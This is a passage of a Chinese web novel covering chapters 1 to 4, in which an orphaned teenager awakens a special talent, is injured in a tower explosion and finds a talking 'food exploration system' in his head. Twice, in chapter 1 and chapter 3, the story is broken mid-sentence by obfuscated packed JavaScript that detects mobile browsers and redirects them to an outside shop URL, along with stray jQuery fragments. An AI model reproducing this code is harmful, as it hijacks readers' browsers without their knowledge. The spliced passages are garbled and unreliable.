《冒险从开拓美食开始》 1. 第 1 章 第1章 清晨,属于泗黑崖的第一缕阳光率先照亮了古朴的城墙。 伴随着一声钟响,靠近城墙的低矮建筑群内开始响起了簌簌的声音。 这里是泗黑崖最外围的地界,不似城区内部整齐高耸的建筑群,这里的房子大多都是半成品。毛坯的外表和内里,是属于即将出城的觉醒者们的临时住所。 他们称这里为“过渡区”。 在这里,几乎没有常住的居民,毕竟除了特殊种族,没有人想一直生活在稳定天罩的边缘地带,这布满低浓度逆觉醒流的区域,住久了会发疯的。 陆燃竹是被外面觉醒者们叮铃哐当的声响吵醒的。 同样毛坯的外表和内里,小小的房子内,只有一床一柜和简陋的桌子椅子,唯一经过装饰的,可能是那被半扇木门遮掩的洗漱间。 哐当—— 不知是外面哪名觉醒者摔落了东西,响亮的声响又惊得床上的那团床单动了一下。 在周围碎碎的谩骂声中,陆燃竹终于从被窝里面伸出了一只手。 冷白的手凭空晃了晃,像是在感受外面的温度,随后才是一颗毛茸茸的头探出来。 冷白的皮肤,漆黑又乱糟糟的黑色卷发,还有一双困倦又雾蒙蒙的紫色眼睛。十三岁的陆燃竹在脱离孤儿院半年后依旧把自己照顾得很好。 就是……有点瘦了。 卷发少年掀开被子站起来,才十三岁的他所有的营养似乎都堆到身高上,一米七左右的个子,从侧面一看却是薄薄一片。 咕噜一声肠鸣,再次唤醒身体的主人。 陆燃竹伸了个懒腰,随后套上拖鞋进入洗漱间进行洗漱,不过十分钟,他又擦着湿漉漉的头发返回房间,坐在缺了一个腿的椅子上,从柜子内拿出一个铁盒。 打开盒子,用叉子叉出一块黑色膏体,就往嘴里塞。 他一边吃,一边打开手里有些破旧的二手通讯器,光照亮他脸的同时,几则未读的通讯显示在碎了一角的屏幕上。 陆燃竹冷白的手指在上面轻点,抿得发白的嘴不断咀嚼,等吃饱喝足,他擦干头发又从一个犄角旮旯处翻出一块芯片,正打算贴身放好,通讯器突然响了起来。 他看了眼来电显示,犹豫半响还是接了起来,他打开了免提,继续收拾着。 “燃竹啊,我这有个活,你接不接?” 年轻又油滑的腔调,名为‘千哥’的人正在通讯器另一头说着。 “什么活?” “哎!最近不是正值学院的实践期吗?又有不少学生在外面丢了东西?我这边接了不少单子,活有些多,我就来问你接不接。” “就在可控区856那块,范围比较大,估计得找不少时间。” 名为千哥的人是陆燃竹脱离孤儿院之前就认识的,是个在交易区经营古物店兼失物寻回屋的老板,年纪不大,主要做学生们的生意。 泗黑崖位于觉醒联盟边界,高耸的城墙隔绝了里外两个世界。一头是被稳定天罩保护着的联盟居住地,另一头是布满危险逆觉醒流的未知区,又或者说是可控区。 可控区是被高阶觉醒者清理过的,给予联盟觉醒者们历练和获取资源的地方。 千哥所说的可控区856,就是低阶觉醒者可被允许进入的一个区域。 陆燃竹认识千哥,纯属一个意外。当初一个初生牛犊不怕虎,一个为赚钱使劲手段,他因为体质特殊无需像其他觉醒者一样不能在可控区内久待,这等独特的优势被千哥一相即中,双方就此展开了长达一年的合作。 说通俗点,就是陆燃竹便宜又好用,千哥小本生意,雇不起那些有一定实力的觉醒者。 当然,陆燃竹也不是他唯一的合作对象,只是偶尔忙不过来了,他就会来找他。 毕竟,能长期在可控区外呆着的,除了特殊种族,就是高阶觉醒者了。 千哥还在通讯期另一头说着,陆燃竹一边思索一边穿上没多少棉的棉衣,等穿戴整齐,他才拿起放在床上的通讯器。 “你这单什么时候需要交货?” “明天。” “……” “明天不行的话,我能再沟通沟通,让对方给我们一些时间。” 陆燃竹闻言抿了抿唇,他握着通讯器,没有立刻回答。找东西并不难,千哥提供工具,在具体的掉落方位寻找往往两天左右就能找到。 这还是基于普通觉醒者能在可控区待的时长来估计,放在陆燃竹身上,快的话他一天就能搞定。 只是…… 他今天没空。 “我明天去找,你觉得可以不?” 卷发少年看向柜子里面仅剩的一块能量块,问道。 “行啊!”千哥痛快地应道,“你的效率我放心,不过,你今天有事?有别的活?” 陆燃竹扒拉下自己的刘海,把那双不符合他气质的圆眼睛藏起来,他戴上帽子,压低帽檐,只露出半张冷白的脸,和下巴处格外显眼的疤痕。 然后推开房门。 清晨的风带着些许潮湿吹拂着他的脸庞,他走出小巷,看着人来人往的过渡区,低声回道。 “没有活,就有点事要办,要去趟市中心。” “大概,或许需要一天。” 办事?还去市中心? 通讯器另一头的千哥疑惑地想了想,还是没想出这个平日混迹可控区的少年会去市中心干什么。 陆燃竹要去干什么? 他要去经历几乎所有费斯拉大陆人在这个年龄段都要经历的事情—— 进行天赋觉醒。 ** “姓名?” “陆燃竹。” “居民编号?” “41930050505。” 繁华的泗黑崖市中心,只有两个地方每天人山人海,一个是觉醒天赋塔服务中心,一个是位于其对面的觉醒协会。 陆燃竹到的时候,中心的后厅刚刚进入一批兴奋激动的小崽子。坐在隐私性极好的小屋子里等待审核结果的他,耳边还充斥着那群同龄人的欢声笑语。 卷发少年盯着透明隔板正出着神,殊不知对面的工作人员也在暗自打量着他。 面容姣好的女性工作人员脸上挂着礼貌的微笑,在看着屏幕上资料的同时,余光也在打量着规矩坐好的少年。 少年穿得严实,刘海遮挡住脸,看起来并不是平易近人的气质,抿紧的唇和下巴处的疤痕,更是离温和差了百八十里远。 等工作人员看了眼屏幕上显示的照片,才发现那双藏在刘海下的眼睛是什么样子的。 照片里,黑色卷发的青涩少年板着张脸,帅气又有棱角的五官,那双圆又亮的眼睛更是吸睛,透亮疏离的紫色,野性又带着懵懂。 整体的气质青涩又矛盾,与现在坐在她面前的人完全就是两个人。 内心世界丰富的工作人员滑动着鼠标,忍着想要多看一眼照片的冲动,接着往下查看少年的资料。 十三岁,孤儿出身,没有监护人。 住址是在……纱巾孤儿院。 在这几天内第一次看到没有监护人的小客人,工作人员眉头一跳,但还是很快整理完所有资料。如陆燃竹事先准备好的一样,他的资料没有任何问题。 等工作人员把觉醒天赋塔的对应编码条递到陆燃竹手里时,也才过去不到十分钟。 “这个套餐并没有相应的详细天赋解读功能以及后续的推荐方向,这一点需要提前告知你一下。”她小心地措辞道,履行着工作手册中的告知程序。 觉醒天赋塔并不是自然形成的。 费斯拉大陆曾在千年前经历过一场来源未知的剧变,自那之后,费斯拉大陆的生态就经历了巨大的变化。 骤然出现的有害能量潮,不知道从哪里蹦出来的灾兽群,以及开始觉醒天赋的智慧种族们。 整个大陆在剧变后乱成了一锅粥。 而从文明倾覆,到重建文明,构造稳定和谐的觉醒联盟,费斯拉大陆人花费了数百年的时间。觉醒天赋塔,便是这数百年中,联盟辅助年幼公民天赋觉醒的一种手段。 它们遍布联盟内各个城市,依托名为觉醒石的能源,为联盟输出无数新鲜的血液。 同时,随着科技的发展,觉醒天赋塔从一开始的协助天赋觉醒,到后来一点点丰富功能,逐步根据觉醒联盟的世界数据库一一完善,如今的它,除去协助天赋觉醒,还具备解读天赋种类,提供天赋强化方向等等功能。 只不过……这一切都需要与价格相挂钩。 越高的套餐,包含的服务内容就越多。少年选择的,是最低的一档,比各类觉醒学院为新入学的学生提供的觉醒项目还要再低一级。 “这个我在大厅内的须知看过,谢谢你提醒。” 闻言陆燃竹礼貌地接过纸,感激地抿了抿唇朝工作人员点了点头。他当然知道自己选择的套餐有什么内容。 他的全部身家都带在身上,就单单这最低级的觉醒套餐就让他口袋扁了一大半。 “那您收好,左侧门进去后扫描纸上对应的编码之后就能进去对应的觉醒塔了。” “好的,谢谢。” “不客气~” 拿好编码纸,陆燃竹又在工作人员的带领下和其他需要天赋觉醒的少年们等了十五分钟,才如同被鸭妈妈带领一样来到了后厅。 进了后厅,工作人员在嘱咐几句后就离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338378|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了。 中心给足了所有小客人们的探险和隐私体验。 在叽叽喳喳的谈论声中,陆燃竹很快便拿着纸脱离了队伍,他的最低级觉醒天赋塔离大部队远得很。 又拐了几个弯,他才进入低级觉醒天赋塔群的范围。 眼前的石塔就这么静静地伫立在角落里,与外边那些被经常使用的不同,它古朴不起眼,就连门前的石板路也布满了尘土。 没有犹豫,陆燃竹上前推开了石门。 伴随着石门关闭,天赋塔内的装潢展露在眼前。 十分简单,一个显示屏,一个石台以及中空的天顶。 莹莹蓝光点缀在石台周围,看着像是某种古朴的法阵,绘成了不知名的纹路。 【检测到访客,请移步到石台上,开启本次协助觉醒。】 电子音响起的那一刻,陆燃竹猛地一颤,一时被这提示音吓了一跳。卷发少年左右看了看,只剩他一人的空间,以及陌生的环境,他难得露出了一丝应当属于这个年纪的好奇和兴奋。 好吧,这可是一生只有一次的天赋觉醒。 陆燃竹在心底允许自己露出那点雀跃,他越过那繁复的蓝色纹路,站定在石台上。 【请仔细阅读觉醒条款,并在同意书上签署上自己的名字。】 跟着流程,卷发少年耐着性子看完了上千字的觉醒条款,并勾画了其中不公开天赋种类的选项,最后签上了自己的名字。 伴随着光幕的消失,觉醒也正式开始。 砰地一声,法阵上亮起蓝光,未知的能量从底部涌向陆燃竹的身体,又经过少年身躯涌向塔尖。 塔内瞬时只剩一片刺目的蓝光。 与此同时,风浪从底部涌上来,露出了陆燃竹一直遮挡着的眼睛。 紫水晶一般的眸色似乎也随着觉醒的力量熠熠发光,本该神圣且激动人心的场面,陆燃竹却突然伸手捂住了自己的眼睛。 熟悉的疼痛从眼眶出放射开来,比以往来得更加突然和剧烈,他颤着唇深呼吸,挣扎地睁开眼。 只见原本寻常的视野在顷刻间发生了剧烈的变化,光怪陆离的视野中,目光所及的一切都褪去了物质的模样,只剩各式各样的颜色。 蓝色,白色,还有代表危险的红色。 【请保持镇定,觉醒即将结束,倒计时十、九、八……】 什么鬼!? 红色? 陆燃竹倒吸一口凉气,控制不住地后退了半步。 【检测到访客即将退出石台范围,请不要离开,觉醒还没有完全结束!】 耳边的提示音嘟嘟作响,卷发少年后退的动作猛地停住,莫名的危机感刺痛着皮肤,他强忍着往后退的欲望,艰难地转动着自己因疼痛而迟钝的大脑。 觉醒天赋塔运行了近千年,鲜少有事故发生。 但那红色又是什么? 直觉和理性在拉扯,陆燃竹的思考在漫长的倒数声中不断偏倒。 他看着那红色似乎穿过了黄色的墙壁,越发壮大。 最后还是忍不住在倒数声到达一的那一刻连连后退。 【恭喜你!访客!你觉醒的天赋为特殊类!是四大天赋类型中最稀少的那种哦!】 替陆燃竹欢庆的电子音还在响,可他已经完全不关注天赋觉醒的结果如何了。 他脑中拉长的高鸣声占据了一切,在他即将踏出石台范围时,那红光也彻底笼罩了他整个视野。 砰的一声。 强烈的爆炸声从塔外部传来。 【检测到觉醒塔收到外部攻击,即将启动应急……】 又一声,这回属于塔壁的土块破了个大洞,石块从中部开始碎裂,飞溅的土块随着热浪直冲陆燃竹而来。 少年又往后退一步,身形即将躲开如脸盆那么大的石块的下一瞬,一个从天而将,散发着金光的物件猛地撞上了他的后脑勺。 砰砰两声,前后差距不到两秒。 陆燃竹在后脑剧痛的同时脚一滑,霎时与那石块进行了负距离的接触。 他一个后仰,眼前发黑地往后倒。 疼痛和眩晕代替了所有思考,扭曲消散的奇异视野中,他恍惚地看见了一把散发金光闪闪的“勺子”。 又是一声巨响,这回是属于人类躯体与地面的碰撞。 完全昏迷的陆燃竹无知觉地躺在地上,他双眸紧闭,鲜血从他额头淌下。 在他所听不见的尖叫声和警告声中,一道分不清性别的声音也在他脑中响起。 【亲爱的宿主,初次见面,我是美食开拓系统金勺勺,咳咳,很开心见到你……】 【欸,宿主?】 【宿主!!!!!!】 2. 第 2 章 第2章 “脑震荡,鼓膜破裂,手臂骨折,还有一些挫伤。” 泗黑崖治疗中心今天送来了一批紧急又特殊的病人,整个二层被临时征用,用于治疗从觉醒天赋塔中心送来的小病人。 童玄灵站在嘈杂的环境内,她左边是不知名家长对孩子的嘘寒问暖,右边是不知名小情侣粘腻的儿女情长,前边是包裹得严实的卷毛木乃伊。 卷发木乃伊头部被包裹起来,淡青色的医疗绷带缠得严严实实,只露出那双好看的眼睛,几缕卷发从缝隙顽强地弹出,配合着少年手臂吊起的姿态,令人心疼又忍不住发笑。 童玄灵努力清了清嗓子,试图将少年的病情告知本人。 “以上就是你送来时的伤势,至于现在。”英气的女性治疗师看了眼腕表,“还有一个小时,你的鼓膜和手臂就能彻底恢复了。” 陆燃竹听得清吗? 他听不清。 但他还是努力地点了点头。 见少年努力的样子,童玄灵的视线在周围转了转,最后还是叹了口气,推着人的床位离了嘈杂的室内。 骨碌碌的滚轮声一直持续到一个偏僻的角落。 远离了嘈杂的环境,陆燃竹的听力恢复了不少,起码走廊的广播声现在他暂时听得见了。 “现在听得清了。” 童玄灵转到少年的正面,拍了拍病历板。 “虽然你是离爆炸中心最近的伤员,但很幸运,掉落的石板意外帮你阻挡了不少冲击力,目前的伤势再过一个小时就能完全恢复了。” 她又重复了一次。 这次陆燃竹是彻底听清了,他用另一只完好的手扒拉下脸上的绷带,沙哑地说,“谢谢你医生。” “不用谢。”童玄灵盯着他,少年的伤势并不算严重,放在治疗中心一个下午就能完全治好然后出院,等一个小时后解开绷带,陆燃竹就跟早上到达觉醒服务中心那时候一模一样,甚至或许更健康。 只是少年身上还有个非常严重的点。 他营养不良。 一个即将应对觉醒后身体变化期的新生觉醒者,居然在觉醒前就营养不良。 他的监护人呢?这种最基本的常识,不应该在他来觉醒前做好准备吗? 童玄灵不解,她再次掀开属于少年的资料,视线却在那一栏空白的监护人上停顿了下。 好吧,不是监护人没有常识,而是少年压根就没有监护人。 英气的治疗师眉头皱了皱,良久,她移开看资料的眼睛,抬手揉了揉额角,才对少年正色道:“你的伤不严重,身上最大的问题是营养不良。” “作为你本次的治疗者,我建议你多补充些营养。” 她神情异常严肃,“觉醒后,你的身体需要大量的营养来应对骤然的变化,营养不充足的话,对你后续的能力也会有一定的影响。” 觉醒人类在觉醒前后,几乎可以说是两个物种,天赋的诞生会在无声息中改造身体,也正因如此,如今觉醒学院才会统一在招生时才帮助学生进行天赋觉醒,好应对和引导学生觉醒后的变化期,不至于让学生走了歪路。 陆燃竹十三岁进行觉醒,童玄灵说不清他到底是什么打算,只是如今各个觉醒学院的招生季刚过,少年最迟也得等到明年入学,在这段时期,少年必须对自己的身体有所重视。 “这可不是说笑的,买些补充剂也好,多吃一点也行,你必须把你营养不良的问题解决了,不能当作一件小事来看待。” “你清楚了吗?” 面对童玄灵的叮嘱,坐在病床上的卷发少年僵得像块石头,他呆愣地点了点头,大眼睛里面满是不可置信。 他事先根本不知道自己营养不良这件事,孤儿院的伙食并不差,院长很看重里面的孩子,营养搭配上并不含糊。离开孤儿院的半年多来,陆燃竹也没过于亏待过自己,他每顿都吃一大块能量块。 寻常人一块能顶一天,他一天吃三块。 补充的能量和营养甚至比其他人更足。 可现在面前的治疗师告诉他,他营养不良。 他这么能吃,居然营养不良!? 陆燃竹不解,震惊,他不可置信地看着自己的身体。 花了他这么多钱,这东西居然营养不良。 难道是因为自己老是吃不饱吗? 震惊的陆燃竹下意识摸了摸自己干瘪的口袋,感受那厚度后手又一僵。 童玄灵不清楚他的震惊,治疗师看他缠满绷带的脸,也不知道他到底听没听进去,她随手从一旁的自助机上刷了一瓶营养补充剂,递给了陆燃竹。 医用级营养补充剂,这个牌子的功效对陆燃竹的情况正好适配。 “可以的话,接下来这段时间你多买这个牌子的补充剂,一天一瓶,养些时日然后定期检查。” 看着递过来的东西,陆燃竹连连摇头,表示自己以后会买的。 而童玄灵却直接塞到他手里,“刷的不是我的钱,你不必有负担,你受伤的事情后续觉醒天赋中心会进行弥补,这个就算其中的一个,还有,不必去缴费,费用也由他们承担。” 觉醒天赋塔的爆炸原因还在调查,但波及无辜是既定的结果。 陆燃竹作为离得最近的倒霉蛋,讨点补偿是应该的。 “还有。”治疗师笑了笑,她伸手揉了揉陆燃竹的头,“还有恭喜你顺利觉醒了天赋。” “恭喜你,成为一名正式的觉醒者。” 长辈似的抚摸让卷发少年呆愣了一下,他听着耳边属于治疗师真诚的祝愿,迟来地,想起了自己今天来到市中心的目的。 他是来进行天赋觉醒的。 天赋…… 对了,最后觉醒的天赋是什么来着? 陆燃竹错愕地发现自己对这点竟然没有过多的印象。少年的呆愣童玄灵并不知情,她还有要事要忙,又说了两句就准备离开。 临走前,她又叮嘱了一句:“觉醒协会会给初生觉醒者一些协助和指导,你可以去看看。” “我会的,谢谢您。”他握着手里的补充剂感激道。 对此,童玄灵笑了笑,“要想感谢我的话,就补足营养,希望下次不会在医疗中心看见你。” 英气的女治疗师很快便离开,留下陆燃竹一人。 卷发少年坐在床上苦思冥想,在过了大约五分钟之后才猛地想起那句夹杂在预警声中的通知。 【恭喜你!访客!你觉醒的天赋为特殊类!是四大天赋类型中最稀少的那种哦!】 特殊类。 嗯,觉醒的是特殊类的天赋。 等等,特殊类? 不该是强化类的吗? 陆燃竹的表情瞬间僵住。 费斯拉大陆的觉醒天赋丰富多样,自联盟建立以来,数据库便对记录在案的天赋种类进行了划分,大致分为四类。 分别是召唤类、元素类、强化类和特殊类。 其中特殊类占比最少,也最为独特。 众人对这种天赋的评价是,“神一阵鬼一阵的。” 它们可以是天赋中的瑰宝,也可以是里面的奇葩。 但这些都与陆燃竹没有关系。 他明明该是银叶族…… 卷发少年突然想到了什么,他挣扎着下床,一拐一 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这回不是蚊子叫了,陌生的声音响在自己耳边,少年瞬间收起糟糕的心情,警惕般地左右看了看,却只看到空无一人的走廊。 “宿主,其实……我在你脑子里。” 金勺勺心虚地重复道。 脑子里? 陆燃竹的警惕心突然提起来,对金勺勺的话是半分不信。 见宿主警惕地不回应自己,金勺勺顿时急了。美食开拓系统向陆燃竹开放自己的系统界面。 只听噔地一声,陆燃竹的视野又发生了新的变化,不是曾经光怪陆离的颜色世界,而是一个上满了锁的界面。 中间还有一个红得刺眼的弹窗。 【检测到能量值即将见底,请尽快与宿主进行契约!】 “宿主!我真不是骗你的,我真就在你脑子里啊!” 金勺勺真心诚意,它甚至在幻化成金色勺子浮现在界面中,痛苦流涕地向宿主介绍自己。原因无它,再不契约,它就真得消散了。 它不想做第一个因为契约不到宿主而消散的系统啊! “我叫金勺勺,是一个美食开拓系统!” 陌生的声音还在辩解,陆燃竹却皱起眉头盯着那个熟悉的勺子,他揉着额角,太阳穴突突地疼。 在这个名为金勺勺的喋喋不休的背景音中,他终于想起了自己在哪里见过这个金色的勺子,就在自己被爆炸波及的前一秒。 那一片刺眼的红光中,有一抹金光从天而降。 假设他没看错的话,那道金光的模样和眼前的金勺子有百分之八十的相像。 这东西是跟爆炸一起来的?还是…… “宿主,我很抱歉当时砸到了你的头……” “但我真的没有恶意。” 金勺勺还在哭诉自己赤诚的心肠,恨不得发誓对宿主表示衷心。 下一秒,就见迟迟不回应的宿主如刚刚去自助机那样一拐一拐地走到指引台,朝在那驻守的治疗助手非常认真地说道。 “你好,我觉得我有点问题。” “?是身体有什么不舒服的地方吗?” “对,我脑子里有个东西在说话,它喊我宿主,还说自己是个什么系统。” “啊!?” 啊!? 听着陆燃竹如此轻易的坦白,金勺勺顿了下,后发出爆鸣般的尖叫!它恨不得现在就冲出系统空间捂住陆燃竹的嘴巴。 不该是这样子的! 宿主,你住口啊! 3. 第 3 章 第3章 金勺勺的爆鸣并没有挽救什么,那话反映给治疗助手不到半响,刚刚离开的童玄灵又折返回来给陆燃竹做了个详细的检查。 用天赋,甚至用特殊仪器都检查了一遍。 童玄灵也没有查出什么异常。 检查了十分钟,童玄灵皱着眉看向陆燃竹,缓缓下了诊断,“你先休息一下,幻听的问题也有可能和脑震荡的后遗症有关系,等会会有人来组织全体检查,如果在那之后还存在这种现象,我会建议你办理住院。” 她负责地说着,还拿出笔在陆燃竹的病历本上写写画画,只是低头的她没注意到少年在听到住院二字时的怔愣。 耳边的那个名为系统的玩意还在控诉,陆燃竹却下意识摸了摸自己放钱的口袋,想要再次询问检查结果的念头犹豫了几下还是没有开口。 他看了眼被童玄灵收起来的设备,那东西他见过,是检查人身上有无其他人天赋能力作祟的一种检查设备。 刚刚那东西没有亮。 “好的,谢谢童医生,我等会看看还有没有这种现状出现。”陆燃竹点头道,“麻烦您了。” “别客气,等下身体如果还有什么不舒服的地方再喊我。” 童玄灵笑了笑,随后再次转身离开。 陆燃竹看着她离开的背影,抬头揉了揉自己发疼的额角。耳边的金勺勺已经不进行辩解,开始哭哭啼啼地抽泣,直吵得他头疼。 “别哭了。” 他低声念了一句。 而金勺勺没有听见,奇怪的界面内,那个金勺子已经快把界面哭淹了。 “我听你说,你别哭了。” 陆燃竹叹了口气,这话金勺勺倒是听见了,像变脸一样,哭声消失,界面也恢复了。金色勺子小心翼翼地依偎在角落,试探地问:“宿主,不怪我了?相信我了?” “不怪,但也不信。” 明白这东西是直接在自己脑里讲话的,陆燃竹也不当自言自语的人,他寻了个角落,坐了下来,打算冷静地跟这东西聊一聊。 卷发少年玩着手里的营养剂,脸色平静。一个突然在自己耳边胡言乱语的家伙,他能立马报以信任的话,早就被人骗到阴沟里去了。 对于金勺勺,他起先以为是哪个觉醒者的天赋能力。 但那位治疗师手里的仪器却没有显示有任何异常。 这让陆燃竹稍稍放下戒心,检查不出来,那有可能这东西不是其他人的天赋能力。当然也不能排除仪器检查不出高阶觉醒者天赋的这种可能性,但少年还没自以为是地认为有高阶的觉醒者会在自己身上做手脚。 他身上又没有什么值得别人惦记的,兜圈来骗他,只有傻子才会这么做。 但……如果不是其他人的天赋能力,那这个叫金勺勺的东西又会是什么? “宿主,我真不是什么坏的系统。” 金勺勺小心翼翼,“我没有恶意的,我会帮你的,变强还是其他的,我都可以的。” 变强? 陆燃竹摩梭营养剂的手一顿,他微微皱眉,盯着金勺勺以及那个奇怪的界面看了会,然后带着些许迟疑地问道。 “难道……” “你就是我觉醒的天赋?” 他眼神古怪,孤儿院的启蒙教育并不涉及觉醒者的知识,但基本的,陆燃竹还是懂一些。特殊类的天赋,独特的地方就在于它的不确定性。 这类天赋能力的具象表现千奇百怪,不仅常常突破认知,连天赋的拥有者有时也搞不清楚自己的天赋能力有什么用。 原本因着自己体质特殊,陆燃竹以为自己觉醒的天赋是银叶族该有的强化类,但特殊类的通知结果也不是他自己的臆想,即使一时忘记了,但他自己是不会听错的。 而如今自己的脑子里多了一个东西,这东西还是在自己觉醒天赋的时候一起来的,排除掉高阶觉醒者的能力,少年虽然觉得荒诞,但也不得不承认那一丝丝的可能性。 这个自说自话的东西,或许是自己觉醒的天赋。 眼睛的怪异之处,也和眼前的界面有几分类似的地方…… 陆燃竹的问话,把还在试图争取的金勺勺搞蒙了。 美食开拓系统还不知道它所来到的,是怎样的一个世界。 倒霉哈哈的金勺勺断了与主神的联系,能量也在检索对象中耗得见底,现在的它,如果不抓紧与宿主进行契约,就彻底完蛋了。 天赋?是能力的意思? 又急又怕的金勺勺参考着当初降临时内置系统选择的标准,宿主的确是它所能检测对象中的最优解。 那……宿主的确它搜索的对象中最有美食天赋的,协助宿主的自己,也可以算是天赋吧。 “对,我就是你的天赋!” 金勺勺不哭诉了,它不住地点头,表示自己的确能成为宿主的助力。 闻言,陆燃竹眼睛突然有光了起来,少年期待地再次发问。 “那你能帮我赚钱吗?” 赚钱?这可不难。 得到能证明自己价值的机会,金勺勺眨眼就把上一句明显有漏洞的话翻了篇,它果断应道。 “当然,我可是美食开拓系统!” 它的前几任宿主都在它的帮助下成了闻名世界的美食家,更是不会缺钱,它能保证给陆燃竹带来物质的支持。 “宿主,你很缺钱吗?” 没有任何人情世故的美食开拓系统疑惑地问。 “缺,可太缺了。” 陆燃竹眼角直抽,低头看着自己手里的那瓶营养补充剂。 他手里的这瓶营养补充剂售价560觉醒币,按童玄灵所说的,一天一瓶,那一个月就要16800觉醒币,再加上自己每天要吃三大块能量块,一块50觉醒币,算下来,一个月单在吃的上面,他就要花21300觉醒币。 他兜里的全部身家,都没这的一半。 穷得都要饿死了。 “那宿主,我能帮你赚钱的!” “那从哪开始?” 陆燃竹没有丝毫废话,卷发少年当场站起来,扯了扯身上的绷带就想往外走。 见状,金勺勺连忙调出自己的系统界面,正想和陆燃竹介绍介绍。 那个红色的弹窗骤然一变。 【嘀——等级不够!权限不足!】 毫不收敛的声音,同时在金勺勺和陆燃竹的耳边响起。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338380|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这—— 心虚的金勺勺抖了一下,它夹着嗓音,讨好地说:“嘀,您觉醒的天赋需要升级哦~” 闻言,陆燃竹脚步一顿,他摸着自己的下巴。正当金勺勺以为他要生气时,少年脚步又抬,认同地点点头,“对,还得升级。” 金勺勺点头如捣蒜:“对的对的。” “那你能不能把那个红色弹窗关掉,有点遮挡视线了。” “当然可以,那——宿主你同意和我契约了?” “契约?契约什么,你不就是我的天赋吗?” “契约不一样啦,你答应我的话,弹窗就能立刻消失了!” “在这签名?感觉你像个骗子。” “我不会骗你的,宿主,我真能帮你赚钱!” 两人越聊越嗨,也越走越远。 只是没等卷发少年走到楼梯口,身后便传来刚刚那名治疗助手的一声大喝。 “567病房的!3床那个卷毛的,还没检查呢!跑什么!” “宿主,是在叫你吗?” “……” 一人一系统最后还是在监督下做了一套检查,跟着人群排了十分钟,又花费了半小时经历各种仪器和治疗师的检查,期间某个美食开拓系统还一边担惊受怕一边和宿主聊天。 当然,最后的结果没有任何问题。 等陆燃竹彻底站在治疗中心门口时,已经是下午四点。 卷发少年摘除淡青色的绷带,重归一副不好惹的姿态,正低着头辨别着他那破旧的二手通讯器。 “宿主,我们这是去哪啊?” 陆燃竹摆弄下通讯器,回道:“去能升级的地方。” 啊?升级。 金勺勺不明白,升级这种东西,它还没说呢,宿主这就知道了? 那他们是要去集市吗? 美食开拓系统疑惑又纠结,它盯着自己因为契约而解锁部分的板块,犹犹豫豫地想和宿主展示,又不敢打扰正导航着的宿主。 一人一系统各有各的事情做,等陆燃竹终于找对了地方,一声惊叹的声音也从他耳边响起。 “哇——宿主,你们这的集市这么气派的吗?” 闻声,陆燃竹也跟着抬头。 率先入眼的,是一个下陷的圆形广场。在广场中央,是闪着磷光的高耸建筑,有一道金色卷轴从顶部倾泄而下,蜿蜒堆叠在门口的巨石旁。 再凑近些看,透过那金色卷轴背后,是一座风暴状的建筑,威严气派,在逐渐西斜的阳光里闪着磷光。 正对陆燃竹的花坛上,硕大的招牌整齐划一。 -泗黑崖觉醒协会- 陆燃竹的眼中同样带着惊叹,他缓步走下阶梯,轻声回道:“这不是集市,是觉醒协会。” 无形的水波随着少年的踏入而在空中荡开,就像是穿过一层水膜,鼓膜轻响的同时,眼前的场景骤然一变。 一声钟响响彻苍穹,几道惊呼散在空中。 有人高呼:“新一届费斯拉英杰榜放榜了!” 陆燃竹闻声跟着人群仰头,捕捉到了那金色卷轴的榜首。 在那里,“靳洲”二字苍劲有力,飘渺在云端,迎接所有人的仰望。 4. 第 4 章 第4章 “嚯,又是靳洲!” “这小子已经连着霸了好几个榜了。” 金色卷轴的焕新,引发了广场上众多觉醒者们的议论。陆燃竹有些艰难地穿过这些又高又壮的觉醒者,朝觉醒协会的大门处走去。 “宿主?觉醒协会是什么啊?那个费斯拉英杰榜又是什么?” “那个人旁边怎么还有悬浮着的火苗?” “头顶那个大得惊人的飞行物又是什么?” 金勺勺喋喋不休地问道,美食开拓系统打一进入广场,就跟进城了一样,满眼都是新奇事物。以往只经历过平和的现代世界的它第一次见到这么奇幻的事物,恨不得把广场上的每一位觉醒者都看一遍。 “觉醒协会?就是觉醒者能接任务和买东西。” “费斯拉英杰榜?据说是什么年轻一代至强者的排行榜。” “至于火苗和飞行物?” 陆燃竹边躲边解释,他避开某个闪着紫光的眼珠子召唤物,又躲开藏在主人身后搞小动作的血盆大花,“那不是你的同类吗?都是其他觉醒者的天赋。” 同类?天赋? 金勺勺看着宿主推开协会的大门,疑惑不减反增。 它没从那些奇怪生物身上感受到任何同属于系统的气息,所以同类一说根本就是无稽之谈。 陆燃竹还在解释,“你的问题倒是提醒我了,你说你一个能说话的勺子,怎么就不算召唤类的,倒是归到特殊类的天赋里面去了。” “金勺勺,升级后你的具体能力是什么啊?” “是偏战斗类的,还是辅助类的?” 少年的语气中满是对金勺勺能力的好奇和疑惑,临离开前又经历一遍详细检查的他全然相信了美食开拓系统是他的天赋这一事实。 然而,听到他问题的金勺勺却感觉到事情好像开始变得不对劲起来了。 天赋,战斗类,辅助类? 宿主在说什么?他所说的天赋,是我理解的天赋吗? 金色勺子站在系统空间发愣,亮面勺身上,一颗颗豆粒大的汗水随着它逐渐慌乱的情绪浮现。 啊哈哈—— 它好像做了一件非常,非常作死的事情。 “宿主啊……我……我觉得我们之间或许存在……” 它话还没说完,陆燃竹的注意力便被其他人所吸引。 “嗯?是新生的觉醒者吗?” 陆燃竹打开门的时候,一名大汉便迎了上来。 